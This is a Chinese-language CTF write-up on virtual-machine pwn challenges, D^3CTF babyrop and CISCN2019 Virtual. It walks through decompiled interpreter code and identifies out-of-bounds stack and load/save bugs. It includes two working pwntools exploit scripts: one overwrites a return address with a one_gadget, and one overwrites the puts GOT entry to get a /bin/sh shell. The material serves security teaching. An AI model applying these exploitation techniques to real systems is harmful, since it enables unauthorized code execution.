概述
VMPwn泛指实现一些运算指令来模拟程序运行的Pwn题。
我们现在常见到的VMPwn基本设计如下:
1.分配内存模拟程序执行,基本组成要素为代码区和数据区,这两块区域可以分配在同一块内存或者两块独立内存。
2.数据区域包含模拟栈和模拟寄存器。
3.代码区根据用户指令模拟各种操作,如压栈出栈,寄存器立即数运算等
4.一般都是数据区的读写越界引发的漏洞,根据数据区内存分配位置的不同可以分为栈越界,bss越界和堆越界三类问题、
https://lotabout.me/2015/write-a-C-interpreter-0/
D^3CTF babyrop
一次输入的机会,能输入0x100字节数据
放入ida里发现这是个VMpwn,模拟汇编指令
第一次接触,vmpwn主要考察的是反汇编能力,要将代码翻译出来
signed __int64 __fastcall deal(__int64 a1, _QWORD *a2, __int64 a3, __int64 a4)
{
__int64 v4; // rax
signed __int64 result; // rax
_QWORD *v6; // [rsp+0h] [rbp-80h]
_QWORD **v7; // [rsp+8h] [rbp-78h]
char v8; // [rsp+20h] [rbp-60h]
unsigned __int64 v9; // [rsp+78h] [rbp-8h]
v7 = a3;
v6 = a4;
v9 = __readfsqword(0x28u);
memset(&v8, 0, 0x50uLL);
*a3 = &v8; // stack->rsp
*(a3 + 16) = 10; // stack->size
*(a3 + 8) = *a3 + 0x50LL; // stack->rbp
while ( *(*a2 + a1) )
{
v4 = *(*a2 + a1);
switch ( off_14B4 )
{
case 0u:
*a2 = 0LL;
return 1LL;
case 8u:
sub_D0E(v7, *(++*a2 + a1)); // push oper[4]
*a2 += 4LL;
break;
case 0x12u:
sub_D92(v7, *(++*a2 + a1)); // push oper[1]
++*a2;
break;
case 0x15u:
sub_ADF(v7, *(++*a2 + a1)); // push oper[8]
*a2 += 8LL;
break;
case 0x21u:
sub_BB9(v7); // add [rsp], [rsp-8]; mov [rsp], 0;
++*a2;
break;
case 0x26u:
sub_B62(v7, *(++*a2 + a1)); // movb [rsp],oper[1];
++*a2;
break;
case 0x28u:
++*a2;
if ( !sub_C26(v7, v6) ) // rsp+0x50; size-10;
exit(0);
return result;
case 0x30u:
sub_CB4(v7, *(++*a2 + a1)); // sub [rsp], oper[1];
++*a2;
break;
case 0x34u:
++*a2;
sub_E17(v7); // sub rsp, 8;mov [rsp], [rsp+8]; mov [rsp+8], 0;
break;
case 0x38u:
++*a2;
sub_E97(v7); // mov [rsp+8],0;
break;
case 0x42u:
sub_EDF(v7);
++*a2;
break;
case 0x51u:
sub_F71(v7); // [rsp]+1
++*a2;
break;
case 0x52u:
sub_FBF(v7); // [rsp]-1
++*a2;
break;
case 0x56u:
sub_100D(v7, *(++*a2 + a1)); // mov [rsp],oper[4];
*a2 += 4LL;
break;
default:
exit(0);
return result;
}
}
return 1LL;
}
存在越界读写漏洞,模拟的rsp可以到达真实rsp的下方,改写ret地址位onegadget就行
exp:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
r = process("./babyrop")
payload = chr(0x28) #pop10
payload += chr(0x15) + p64(0) #push 1
payload += chr(0x28) #pop10
payload += chr(0x38) #mov [rsp+8],0
payload += chr(0x56) + p32(0x24a3a) #mov [rsp],0x24a3a
payload += chr(0X34) #mov [rsp-8],[rsp] rsp -=8
payload += chr(0x21) #add [rsp-8],[rsp]
payload += chr(0X34)*5 #mov [rsp-8],[rsp] rsp -=8
payload = payload.ljust(256,'\x00')
r.send(payload)
r.interactive()
CISCN2019 Virtual
VMpwn的题目
程序刚开始会初始化五个块,存储name,stack,instruction,v7,buf(V7作用暂时未知)
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *name; // [rsp+18h] [rbp-28h]
void **stack; // [rsp+20h] [rbp-20h]
void **instruction; // [rsp+28h] [rbp-18h]
void **data; // [rsp+30h] [rbp-10h]
char *buf; // [rsp+38h] [rbp-8h]
init_0();
name = malloc(0x20uLL);
stack = init_heap(64); // malloc(0x10);malloc(0x200)
instruction = init_heap(128); // malloc(0x10);malloc(0x400)
data = init_heap(64); // malloc(0x10);malloc(0x200)
buf = malloc(0x400uLL);
puts("Your program name:");
read_0(name, 0x20u);
puts("Your instruction:");
read_0(buf, 0x400u);
store_ins(instruction, buf);
puts("Your stack data:");
read_0(buf, 0x400u);
store_stack(stack, buf);
if ( jmp_ins() )
{
puts("-------");
puts(name);
sub_4018CA(stack);
puts("-------");
}
else
{
puts("Your Program Crash :)");
}
free(buf);
delete(instruction);
delete(stack);
delete(data);
return 0LL;
}
}
使用strtok对输入的指令以” nrt”进行分割,可以模拟这些指令:push,pop,add,sub,mul,div,load,save
程序先将这些字节码存储在ptr这个数组里,然后再复制到程序段中
注意先输入的指令是存放在程序段的高地址处,呈队列形式,先进先出. 等到取指令的时候是从队列的头部开始取.
输入栈数据也是类似的,数据先进先出:
void __fastcall sub_40161D(__int64 a1, char *a2)
{
int v2; // [rsp+18h] [rbp-18h]
int i; // [rsp+1Ch] [rbp-14h]
const char *s1; // [rsp+20h] [rbp-10h]
_QWORD *ptr; // [rsp+28h] [rbp-8h]
if ( a1 )
{
ptr = malloc(8LL * *(a1 + 8));
v2 = 0;
for ( s1 = strtok(a2, delim); v2 < *(a1 + 8) && s1; s1 = strtok(0LL, delim) )// 根据\n\t\r分割字符串
{
if ( !strcmp(s1, "push") )
{
ptr[v2] = 0x11LL;
}
else if ( !strcmp(s1, "pop") )
{
ptr[v2] = 0x12LL;
}
else if ( !strcmp(s1, "add") )
{
ptr[v2] = 0x21LL;
}
else if ( !strcmp(s1, "sub") )
{
ptr[v2] = 0x22LL;
}
else if ( !strcmp(s1, "mul") )
{
ptr[v2] = 0x23LL;
}
else if ( !strcmp(s1, "div") )
{
ptr[v2] = 0x24LL;
}
else if ( !strcmp(s1, "load") )
{
ptr[v2] = 0x31LL;
}
else if ( !strcmp(s1, "save") )
{
ptr[v2] = 0x32LL;
}
else
{
ptr[v2] = 0xFFLL;
}
++v2;
}
for ( i = v2 - 1; i >= 0 && sub_40144E(a1, ptr[i]); --i )
;
free(ptr);
}
}
IDA没识别出来,原因是函数边界识别错误,看雪有类似问题,附上IDA官方的解释链接
https://www.hex-rays.com/products/ida/support/idadoc/1077.shtml
我尝试了几下没解决,就用ghidra+IDA配合把指令的函数搞出来了
到这里,这道题的逻辑基本算搞清楚了
漏洞点在load和save指令里面,由于对边界没有检查,可以做到任意读和任意写
需要一步步去调试算偏移
把大佬的exp放这里吧:
from pwn import *
context.log_level = 'debug'
debug = 1
elf = ELF('pwn')
sh = process('./pwn')
libc = elf.libc
gdb.attach(sh,'b* 0x401AF6')
sh.recvuntil('name:\n')
sh.sendline('/bin/sh\x00')
sh.recvuntil('instruction:\n')
sh.sendline('push push push save push push pop add push')
sh.recvuntil('data:\n')
payload = "1 "+str(elf.got['puts']) + " " + str(-4) + " " + str(0x7f3838d52390-0x7f3838d7c690) +" "+ "1 "*5
sh.sendline(payload)
sh.interactive()
vCpgrVab
vCpgrVab 2020-12-08 11:37